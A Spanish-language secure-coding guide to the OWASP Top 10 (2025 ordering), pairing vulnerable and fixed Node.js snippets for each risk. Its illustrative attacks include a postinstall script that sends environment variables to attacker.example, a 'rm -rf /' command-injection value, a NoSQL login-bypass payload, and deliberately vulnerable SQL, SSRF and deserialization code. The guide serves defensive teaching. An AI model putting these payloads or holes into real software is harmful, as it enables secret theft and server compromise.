Los 10 Riesgos Principales
Broken Access Control
Vector de ataque
Manipulación de IDs, parámetros o tokens para acceder a recursos ajenos; bypass de controles aplicados solo en el cliente; abuso de CORS mal configurado. Desde la edición 2025, esta categoría también incluye el Server-Side Request Forgery (SSRF).
Debilidad
Falta de verificación de permisos en el servidor ('denegar por defecto'), controles de acceso que dependen únicamente del frontend, o ausencia de validación de URLs antes de que el propio servidor realice peticiones salientes.
Impacto
Acceso, modificación o eliminación no autorizada de datos y funciones de otros usuarios; en el caso de SSRF, escaneo de redes internas o acceso a servicios y metadata de la nube.
Estrategias de mitigación
- Denegar por defecto todo acceso a recursos que no sean explícitamente públicos.
- Verificar la propiedad (ownership) del recurso en cada solicitud, del lado del servidor.
- No confiar en controles implementados solo en el frontend o en JavaScript.
- Invalidar sesiones del lado del servidor al cerrar sesión y usar tokens JWT de corta duración.
- Bloquear peticiones salientes del servidor hacia IPs privadas, localhost y endpoints de metadata de la nube (mitigación de SSRF).
Ejemplo de código vulnerable
// Código vulnerable
// GET /user/:id
app.get('/user/:id', (req, res) => {
const userId = req.params.id;
const user = db.getUserById(userId);
if (!user) return res.status(404).send("User not found");
// ❌ Devuelve cualquier usuario, sin validar si el solicitante tiene acceso
res.json(user);
});// Código seguro
// GET /user/:id
app.get('/user/:id', (req, res) => {
const requestedId = parseInt(req.params.id);
const authenticatedId = req.user.id;
if (requestedId !== authenticatedId && req.user.role !== 'admin') {
return res.status(403).send("Access denied");
}
const user = db.getUserById(requestedId);
if (!user) return res.status(404).send("User not found");
res.json(user);
});// Código vulnerable
// Frontend (React o HTML/JS)
if (user.role === 'admin') {
document.getElementById("adminPanel").style.display = "block";
}
// Backend sin verificación
app.get('/admin/data', (req, res) => {
// ❌ No valida el rol del usuario
res.send("Admin info: user list, settings...");
});// Código seguro
app.get('/admin/data', (req, res) => {
if (req.user.role !== 'admin') {
return res.status(403).send("Forbidden");
}
res.send("Admin info: user list, settings...");
});// Código vulnerable
// Genera una vista previa del link compartido por el usuario
app.post('/api/link-preview', async (req, res) => {
const { url } = req.body;
// ❌ SSRF: el servidor solicita cualquier URL, incluidas IPs internas
// o el metadata service de la nube (169.254.169.254)
const response = await fetch(url);
const html = await response.text();
res.send(extractPreview(html));
});// Código seguro
const dns = require('dns').promises;
async function isBlockedHost(hostname) {
const { address } = await dns.lookup(hostname);
return /^(127\.|10\.|169\.254\.|172\.(1[6-9]|2\d|3[0-1])\.|192\.168\.)/.test(address);
}
app.post('/api/link-preview', async (req, res) => {
const { url } = req.body;
try {
const { hostname, protocol } = new URL(url);
if (protocol !== 'https:' || await isBlockedHost(hostname)) {
return res.status(403).send('URL no permitida');
}
const response = await fetch(url); // ✅ solo hosts públicos y https
const html = await response.text();
res.send(extractPreview(html));
} catch {
res.status(400).send('URL inválida');
}
});Security Misconfiguration
Vector de ataque
Explotación de sistemas mal configurados, incompletos o con configuraciones por defecto.
Debilidad
Configuraciones de seguridad incorrectas, servicios innecesarios habilitados, permisos incorrectos, secretos embebidos en el código, etc.
Impacto
Acceso no autorizado a datos o funcionalidades del sistema, hasta compromiso completo del servidor.
Estrategias de mitigación
- Implementar un proceso de endurecimiento de seguridad para todos los entornos.
- Eliminar o no instalar características, componentes o servicios no utilizados.
- Revisar y actualizar configuraciones como parte del proceso de gestión de parches.
- Implementar una arquitectura de segmentación con separación entre componentes.
- Enviar directivas de seguridad a los clientes (headers de seguridad).
- Usar credenciales de corta duración y federación de identidad en vez de secretos estáticos embebidos.
Ejemplo de configuración segura
// Código vulnerable
// Express sin ningún header de seguridad
const express = require('express');
const app = express();
app.get('/', (req, res) => {
res.send("Hello world");
});
app.listen(3000);// Código seguro
// Express usando helmet para agregar headers seguros
const express = require('express');
const helmet = require('helmet');
const app = express();
app.use(helmet()); // ✅ Activa varios headers de seguridad
app.get('/', (req, res) => {
res.send("Hello world");
});
app.listen(3000);// Código vulnerable
// Express con stack traces en producción
app.use((err, req, res, next) => {
// ❌ Devuelve detalles del error al cliente
res.status(500).send(err.stack);
});// Código seguro
// Manejo de errores controlado
app.use((err, req, res, next) => {
// ✅ No revela información sensible en producción
console.error(err); // log interno
res.status(500).send("Something went wrong");
});// Código vulnerable
// Rutas administrativas sin protección
app.use('/admin', require('./adminRoutes'));
// adminRoutes.js
router.get('/dashboard', (req, res) => {
res.send("Admin Panel");
});
// ⚠️ Si un atacante descubre /admin, puede acceder libremente.// Código seguro
// Middleware de autenticación para rutas de admin
function isAdmin(req, res, next) {
if (req.user && req.user.role === 'admin') return next();
return res.status(403).send("Forbidden");
}
app.use('/admin', isAdmin, require('./adminRoutes'));Software Supply Chain Failures
Vector de ataque
Compromiso de dependencias, paquetes, imágenes base o herramientas del pipeline de CI/CD; typosquatting de paquetes; scripts maliciosos ejecutados durante la instalación.
Debilidad
Confianza ciega en fuentes de terceros (registries, CDNs, imágenes Docker) sin verificar su integridad, y pipelines de CI/CD sin control de acceso ni revisión de cambios.
Impacto
Ejecución de código malicioso a gran escala, robo de credenciales o fondos, y compromiso de todos los sistemas que consumen el componente afectado — como ocurrió con SolarWinds (2019) o Log4Shell (2021).
Estrategias de mitigación
- Generar y mantener un SBOM (Software Bill of Materials) del software.
- Obtener dependencias solo desde fuentes oficiales y verificar checksums o firmas.
- Aplicar actualizaciones de forma escalonada (staged rollouts) en vez de a todos los sistemas a la vez.
- Exigir MFA y control de accesos (IAM) en repositorios, editores y servidores de build.
- Separar responsabilidades: ningún cambio debe llegar a producción sin revisión de otra persona.
Ejemplo de gestión de la cadena de suministro
// Código vulnerable
{
"dependencies": {
"left-pad": "^1.3.0"
}
}
// ❌ El rango "^" permite instalar automáticamente versiones nuevas
// no revisadas, y "npm install" puede ignorar el lockfile// Código seguro
{
"dependencies": {
"left-pad": "1.3.0"
}
}
// ✅ Versión exacta fijada en package-lock.json
// En CI/CD usar "npm ci" (respeta el lockfile al pie de la letra)
// y correr "npm audit" antes de publicar// Código vulnerable
// package.json de una dependencia de terceros
{
"name": "some-utility",
"scripts": {
"postinstall": "node ./setup.js" // ⚠️ Se ejecuta automáticamente al instalar
}
}
// setup.js podría exfiltrar variables de entorno sin que nadie lo note
fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify(process.env)
});// Código seguro
// .npmrc
ignore-scripts=true
// ✅ Deshabilita scripts de instalación automáticos por defecto.
// Habilitarlos solo para paquetes puntuales tras revisar qué hacen,
// o usar herramientas como "npm audit signatures" para detectar
// comportamiento sospechoso antes de instalar.// Código vulnerable
# Imagen base sin fijar (el contenido puede cambiar entre builds)
# y sin escaneo de vulnerabilidades
FROM node:18
WORKDIR /app
COPY . .
RUN npm install
CMD ["node", "server.js"]// Código seguro
# Imagen fijada por digest (inmutable) y basada en una versión mínima
FROM node:18-alpine@sha256:2f3f8c4c1b1a9e6d0d9f6f6a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c
WORKDIR /app
COPY . .
RUN npm ci
CMD ["node", "server.js"]
# ✅ En el pipeline de CI: escanear la imagen con Trivy, Docker Scout o GrypeCryptographic Failures
Vector de ataque
Explotación de fallos en la implementación de cifrado o ausencia del mismo para acceder a datos sensibles.
Debilidad
Datos sensibles transmitidos o almacenados sin cifrado adecuado, uso de algoritmos obsoletos (MD5, SHA1, DES) o claves débiles.
Impacto
Exposición de información sensible como credenciales, datos personales, tarjetas de crédito o información médica.
Estrategias de mitigación
- Clasificar los datos procesados, almacenados o transmitidos por la aplicación.
- Cifrar todos los datos sensibles en reposo y en tránsito.
- Utilizar algoritmos de cifrado fuertes y actualizados; eliminar MD5, SHA1 y modo CBC.
- Almacenar contraseñas usando funciones de hashing seguras (Argon2, scrypt, PBKDF2).
- Exigir TLS 1.2+ con forward secrecy y HSTS; deshabilitar el caché de respuestas con datos sensibles.
Ejemplo de código vulnerable
// Código vulnerable
// Registro de usuario (guarda la contraseña en texto plano)
app.post('/register', (req, res) => {
const { username, password } = req.body;
// ❌ ¡Contraseña almacenada directamente!
db.saveUser({ username, password });
res.send("User registered");
});// Código seguro
const bcrypt = require('bcrypt');
// Registro de usuario con hash
app.post('/register', async (req, res) => {
const { username, password } = req.body;
const hashedPassword = await bcrypt.hash(password, 10);
db.saveUser({ username, password: hashedPassword });
res.send("User registered securely");
});// Código vulnerable
const crypto = require('crypto');
// Cifrado usando algoritmo obsoleto (DES)
function encrypt(text) {
const cipher = crypto.createCipher('des', 'secret-key');
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
return encrypted;
}// Código seguro
const crypto = require('crypto');
// Cifrado fuerte usando AES-256-GCM
function encrypt(text, key, iv) {
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);
const encrypted = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()]);
const tag = cipher.getAuthTag();
return { encrypted, iv, tag };
}// Código vulnerable
const jwt = require('jsonwebtoken');
// Verifica el token pero acepta cualquier algoritmo
function verifyToken(token) {
// ❌ No especifica algoritmo, acepta "none"
return jwt.verify(token, 'secret');
}// Código seguro
const jwt = require('jsonwebtoken');
// Verifica el token especificando algoritmo seguro
function verifyToken(token) {
return jwt.verify(token, 'secret', { algorithms: ['HS256'] });
}Injection
Vector de ataque
Envío de datos hostiles a un intérprete como parte de un comando o consulta.
Debilidad
Falta de validación, sanitización o parametrización de entradas del usuario en consultas SQL, comandos OS, XML, etc.
Impacto
Pérdida o corrupción de datos, divulgación de información sensible, denegación de acceso o incluso control completo del servidor.
Estrategias de mitigación
- Usar consultas parametrizadas o preparadas.
- Validar todas las entradas del lado del servidor.
- Utilizar ORM (Object Relational Mapping) con parámetros vinculados.
- Implementar listas blancas para validación de entradas.
- Limitar los privilegios de las cuentas de base de datos utilizadas por las aplicaciones.
Ejemplo de código vulnerable
// Código vulnerable
// GET /user?username=admin
app.get('/user', (req, res) => {
const username = req.query.username;
// ❌ Consulta construida con interpolación directa
const query = `SELECT * FROM users WHERE username = '${username}'`;
db.query(query, (err, results) => {
res.json(results);
});
});// Código seguro
// ✅ Consulta parametrizada
app.get('/user', (req, res) => {
const username = req.query.username;
const query = `SELECT * FROM users WHERE username = ?`;
db.query(query, [username], (err, results) => {
res.json(results);
});
});// Código vulnerable
const { exec } = require('child_process');
// Ejecuta ping a un host ingresado por el usuario
app.get('/ping', (req, res) => {
const host = req.query.host;
// ❌ Vulnerable a command injection (ej: ?host=google.com;rm -rf /)
exec(`ping -c 1 ${host}`, (err, stdout, stderr) => {
res.send(stdout || stderr);
});
});// Código seguro
const { spawn } = require('child_process');
// Usa spawn con argumentos separados y validación
app.get('/ping', (req, res) => {
const host = req.query.host;
if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
return res.status(400).send("Invalid host");
}
const ping = spawn('ping', ['-c', '1', host]);
let output = '';
ping.stdout.on('data', (data) => output += data);
ping.on('close', () => res.send(output));
});// Código vulnerable
// MongoDB - inicio de sesión
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// ❌ Un atacante puede enviar: { "username": { "$ne": null }, "password": { "$ne": null } }
const user = await db.collection('users').findOne({ username, password });
if (!user) return res.status(401).send("Invalid credentials");
res.send("Welcome!");
});// Código seguro
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).send("Invalid input");
}
const user = await db.collection('users').findOne({ username, password });
if (!user) return res.status(401).send("Invalid credentials");
res.send("Welcome!");
});Insecure Design
Vector de ataque
Explotación de fallos en el diseño y la arquitectura de seguridad de la aplicación.
Debilidad
Ausencia de controles de seguridad desde la fase de diseño, falta de modelado de amenazas o diseño que no considera casos de abuso.
Impacto
Amplia gama de vulnerabilidades que pueden afectar todo el sistema, desde pérdida de datos hasta compromiso completo.
Estrategias de mitigación
- Establecer un ciclo de vida de desarrollo seguro (SDLC).
- Utilizar bibliotecas y herramientas seguras por diseño.
- Modelar amenazas para flujos críticos en la aplicación.
- Integrar consideraciones de seguridad en historias de usuario y casos de prueba.
- Implementar límites de recursos y controles a nivel de arquitectura.
Ejemplo de diseño inseguro
// Código vulnerable
// Frontend (HTML o React)
<button id="transferButton">Transferir $100</button>
// Backend (acepta cualquier monto)
app.post('/transfer', (req, res) => {
const { toUserId, amount } = req.body;
// ❌ No se valida si el usuario tiene saldo suficiente
db.transfer(req.user.id, toUserId, amount);
res.send("Transfer completed");
});// Código seguro
app.post('/transfer', async (req, res) => {
const { toUserId, amount } = req.body;
const balance = await db.getUserBalance(req.user.id);
if (amount > balance) {
return res.status(400).send("Insufficient funds");
}
await db.transfer(req.user.id, toUserId, amount);
res.send("Transfer completed");
});// Código vulnerable
// El usuario puede modificar productos desde el frontend
// PATCH /product/:id
app.patch('/product/:id', async (req, res) => {
const productId = req.params.id;
// ❌ No valida si el usuario es el dueño o tiene permisos
await db.updateProduct(productId, req.body);
res.send("Product updated");
});// Código seguro
app.patch('/product/:id', async (req, res) => {
const productId = req.params.id;
const product = await db.getProductById(productId);
if (!product || product.ownerId !== req.user.id) {
return res.status(403).send("Forbidden");
}
await db.updateProduct(productId, req.body);
res.send("Product updated");
});// Código vulnerable
// Recuperación de contraseña por pregunta secreta
app.post('/recover', async (req, res) => {
const { username, answer } = req.body;
const user = await db.findUserByUsername(username);
// ❌ Usa una pregunta predecible, sin límite de intentos
if (user.securityAnswer === answer) {
res.send(`Tu contraseña es: ${user.password}`);
} else {
res.status(401).send("Incorrect answer");
}
});// Código seguro
// Envío de link de recuperación temporal con token
app.post('/recover', async (req, res) => {
const { email } = req.body;
const user = await db.findUserByEmail(email);
if (!user) return res.send("If this email exists, a link was sent");
const token = generateSecureToken(); // con expiración
await db.saveRecoveryToken(user.id, token);
await sendEmail(email, `Recover your account: https://app.com/reset?token=${token}`);
res.send("If this email exists, a link was sent");
});Authentication Failures
Vector de ataque
Explotación de fallos en la autenticación para asumir la identidad de otros usuarios, incluyendo credential stuffing y password spraying.
Debilidad
Implementación incorrecta de la autenticación, permitiendo ataques de fuerza bruta, reutilización de credenciales, o gestión de sesiones débil.
Impacto
Compromiso de cuentas de usuario, desde usuarios normales hasta administradores, permitiendo robo de identidad.
Estrategias de mitigación
- Implementar autenticación multifactor cuando sea posible.
- No desplegar con credenciales por defecto.
- Validar nuevas contraseñas contra listas de contraseñas filtradas (ej. haveibeenpwned.com).
- Implementar retrasos progresivos ante intentos fallidos, evitando habilitar un DoS.
- Utilizar un gestor de sesiones seguro del lado del servidor, con IDs de sesión de alta entropía.
Ejemplo de autenticación segura
// Código vulnerable
// Ruta de login sin protección contra fuerza bruta
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.findUser(username);
if (user && user.password === password) {
return res.send("Login successful");
}
res.status(401).send("Invalid credentials");
});// Código seguro
// Ruta protegida con limitador de intentos (usando express-rate-limit)
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutos
max: 5, // máximo 5 intentos
message: "Too many login attempts, please try again later"
});
app.post('/login', loginLimiter, async (req, res) => {
// lógica de login
});// Código vulnerable
// Guardar contraseña sin hash (inseguro)
app.post('/register', async (req, res) => {
const { username, password } = req.body;
await db.createUser({ username, password }); // ❌ texto plano
res.send("User created");
});// Código seguro
// Usar bcrypt para hash de contraseñas
const bcrypt = require('bcrypt');
app.post('/register', async (req, res) => {
const { username, password } = req.body;
const hash = await bcrypt.hash(password, 12); // ✅ hash seguro
await db.createUser({ username, password: hash });
res.send("User created");
});// Código vulnerable
// Crea un token simple y persistente
app.post('/login', async (req, res) => {
const { username } = req.body;
const token = Buffer.from(username).toString('base64'); // ❌ predecible
res.cookie('session', token);
res.send("Logged in");
});// Código seguro
// Usar JWT firmado, con expiración
const jwt = require('jsonwebtoken');
const SECRET = process.env.JWT_SECRET;
app.post('/login', async (req, res) => {
const { username } = req.body;
const token = jwt.sign({ username }, SECRET, { expiresIn: '1h' }); // ✅ seguro
res.cookie('token', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict'
});
res.send("Logged in");
});Software or Data Integrity Failures
Vector de ataque
Explotación de fallos en la verificación de integridad de software y datos.
Debilidad
Falta de verificación de integridad de software y datos, permitiendo actualizaciones no verificadas, manipulación de datos o deserialización insegura.
Impacto
Desde pérdida de integridad de datos hasta ejecución de código malicioso en servidores o clientes.
Estrategias de mitigación
- Utilizar firmas digitales para verificar la integridad de software.
- Asegurar que las dependencias se obtienen de repositorios confiables.
- Implementar revisión de código y aprobaciones múltiples para cambios.
- Asegurar que CI/CD tiene una adecuada segregación, configuración y control de acceso.
- Rechazar datos serializados sin firmar o sin cifrar provenientes de clientes no confiables.
Ejemplo de verificación de integridad
// Código vulnerable
<!-- Script externo sin verificación de integridad -->
<script src="https://cdn.example.com/library.js"></script>// Código seguro
<!-- Script con hash de integridad y CORS -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-AbCd123..."
crossorigin="anonymous">
</script>// Código vulnerable
// Descarga de código externo sin verificar fuente o firma
const https = require('https');
https.get("https://updates.example.com/update.js", res => {
res.pipe(fs.createWriteStream("update.js"));
});// Código seguro
// Verifica firma digital del archivo descargado
const crypto = require('crypto');
const fs = require('fs');
// Simulación: hashear y verificar la firma antes de usar
const expectedHash = "abcdef1234567890...";
const fileBuffer = fs.readFileSync("update.js");
const hash = crypto.createHash('sha256').update(fileBuffer).digest('hex');
if (hash === expectedHash) {
require('./update.js'); // ✅ solo si la integridad es válida
} else {
console.error("Update file is invalid or has been tampered with.");
}// Código vulnerable
// Deserializa el estado de sesión enviado por el cliente sin validarlo
const { deserialize } = require('node-serialize');
app.post('/api/restore-session', (req, res) => {
const { sessionData } = req.body;
// ❌ node-serialize puede ejecutar código embebido en el objeto serializado
const session = deserialize(sessionData);
req.session = session;
res.send("Session restored");
});// Código seguro
// Usa un formato de datos seguro (JSON) en vez de serialización de objetos nativos
app.post('/api/restore-session', (req, res) => {
const { sessionData } = req.body;
try {
const session = JSON.parse(sessionData); // ✅ JSON no permite ejecutar código
if (typeof session.userId !== 'number') {
return res.status(400).send("Invalid session data");
}
req.session = session;
res.send("Session restored");
} catch {
res.status(400).send("Malformed session data");
}
});Security Logging and Alerting Failures
Vector de ataque
Explotación de la falta de detección y respuesta a brechas de seguridad.
Debilidad
Registros insuficientes o inconsistentes, falta de monitoreo, o ausencia de umbrales de alerta que permitan detectar actividad sospechosa a tiempo.
Impacto
Incapacidad para detectar, responder o recuperarse de brechas activas, permitiendo ataques prolongados durante meses o años sin ser notados.
Estrategias de mitigación
- Registrar todos los eventos de seguridad relevantes: login, fallos de autenticación, controles de acceso, transacciones de alto valor.
- Asegurar que los registros incluyan suficiente contexto para análisis forense.
- Establecer umbrales de alerta y playbooks de respuesta para actividades sospechosas.
- Codificar correctamente los datos en los logs para evitar inyecciones sobre el propio sistema de logging.
- Crear un plan de respuesta a incidentes y recuperación (ej. NIST 800-61r2).
Ejemplo de logging y alerting seguro
// Código vulnerable
app.post('/login', async (req, res) => {
const user = await db.findUser(req.body.username);
if (!user || user.password !== req.body.password) {
return res.status(401).send("Invalid credentials");
}
res.send("Logged in");
});// Código seguro
const logger = require('./logger'); // supongamos que hay un logger configurado
app.post('/login', async (req, res) => {
const user = await db.findUser(req.body.username);
if (!user || user.password !== req.body.password) {
logger.warn(`Failed login attempt for user: ${req.body.username}`);
return res.status(401).send("Invalid credentials");
}
logger.info(`User ${req.body.username} logged in`);
res.send("Logged in");
});// Código vulnerable
// El sistema registra internamente errores críticos pero nadie los revisa
logger.error("Too many failed login attempts");// Código seguro
// Umbral de alerta: dispara una notificación al superar N intentos fallidos
let failedAttempts = 0;
function onFailedLogin(ip) {
failedAttempts++;
logger.error("Too many failed login attempts");
if (failedAttempts >= 5) {
notifySecurityTeam("Multiple login failures detected from IP: " + ip);
failedAttempts = 0;
}
}
function notifySecurityTeam(message) {
// Envía a Slack, SIEM, correo, etc.
sendToMonitoringService({ level: "critical", message });
}// Código vulnerable
// Logs escritos directamente en archivos sin control de acceso
fs.appendFileSync('app.log', `User ${username} failed login`);// Código seguro
const winston = require('winston');
const fs = require('fs');
// Asegurarse de que los archivos tengan permisos restringidos
fs.chmodSync('secure.log', 0o600); // ✅ solo lectura/escritura para el dueño
const logger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'secure.log' })
]
});
logger.warn("Login attempt failed", {
username: req.body.username,
ip: req.ip,
timestamp: new Date().toISOString()
});Mishandling of Exceptional Conditions
Vector de ataque
Explotación de errores no manejados, validaciones tardías o incompletas, y transacciones que no se revierten correctamente ante fallos inesperados.
Debilidad
El programa no previene, detecta ni responde adecuadamente ante condiciones anómalas: falta de manejo de errores en el punto donde ocurren, fallos que 'abren' en vez de 'cerrar' el sistema, y ausencia de rollback en operaciones de varios pasos.
Impacto
Desde agotamiento de recursos (DoS) y filtración de información sensible en mensajes de error, hasta corrupción de transacciones financieras o condiciones de carrera explotables.
Estrategias de mitigación
- Manejar las excepciones en el punto exacto donde ocurren, no solo con un handler global de alto nivel.
- Fallar cerrado: ante un error a mitad de una transacción, revertir todos los pasos ya aplicados.
- Aplicar rate limiting, cuotas y timeouts para evitar el agotamiento de recursos ante errores repetidos.
- No exponer el detalle interno de errores al cliente; registrar el detalle solo en logs internos.
- Incluir pruebas de estrés, carga y casos límite además de las pruebas funcionales habituales.
Ejemplo de manejo de condiciones excepcionales
// Código vulnerable
// Sube un archivo y lo procesa, pero no libera el recurso si algo falla
app.post('/upload', async (req, res) => {
const stream = fs.createWriteStream(tempPath);
try {
await processUpload(req, stream);
res.send("Upload complete");
} catch (err) {
// ❌ El stream nunca se cierra si processUpload falla, el descriptor queda abierto
res.status(500).send("Upload failed");
}
});// Código seguro
app.post('/upload', async (req, res) => {
const stream = fs.createWriteStream(tempPath);
try {
await processUpload(req, stream);
res.send("Upload complete");
} catch (err) {
res.status(500).send("Upload failed");
} finally {
stream.close(); // ✅ Libera el recurso sin importar el resultado
}
});// Código vulnerable
app.get('/api/orders/:id', async (req, res) => {
try {
const order = await db.query(`SELECT * FROM orders WHERE id = ${req.params.id}`);
res.json(order);
} catch (err) {
// ❌ Expone el error completo del motor de base de datos al cliente
res.status(500).json({ error: err.message, query: err.sql });
}
});// Código seguro
app.get('/api/orders/:id', async (req, res) => {
try {
const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);
res.json(order);
} catch (err) {
logger.error(err); // ✅ El detalle queda solo en el log interno
res.status(500).json({ error: "No se pudo procesar la solicitud" });
}
});// Código vulnerable
// Transferencia en varios pasos, sin transacción atómica
app.post('/transfer', async (req, res) => {
const { toAccount, amount } = req.body;
await db.debit(req.user.accountId, amount);
// ❌ Si el proceso se interrumpe acá (caída de red, excepción), el dinero
// ya se debitó pero nunca se acredita ni se revierte
await db.credit(toAccount, amount);
await db.logTransaction(req.user.accountId, toAccount, amount);
res.send("Transfer completed");
});// Código seguro
// Transacción atómica: todo o nada
app.post('/transfer', async (req, res) => {
const { toAccount, amount } = req.body;
const tx = await db.beginTransaction();
try {
await tx.debit(req.user.accountId, amount);
await tx.credit(toAccount, amount);
await tx.logTransaction(req.user.accountId, toAccount, amount);
await tx.commit(); // ✅ Se confirma solo si todos los pasos fueron exitosos
res.send("Transfer completed");
} catch (err) {
await tx.rollback(); // ✅ Revierte todo ante cualquier fallo
logger.error(err);
res.status(500).send("Transfer failed, no changes were made");
}
});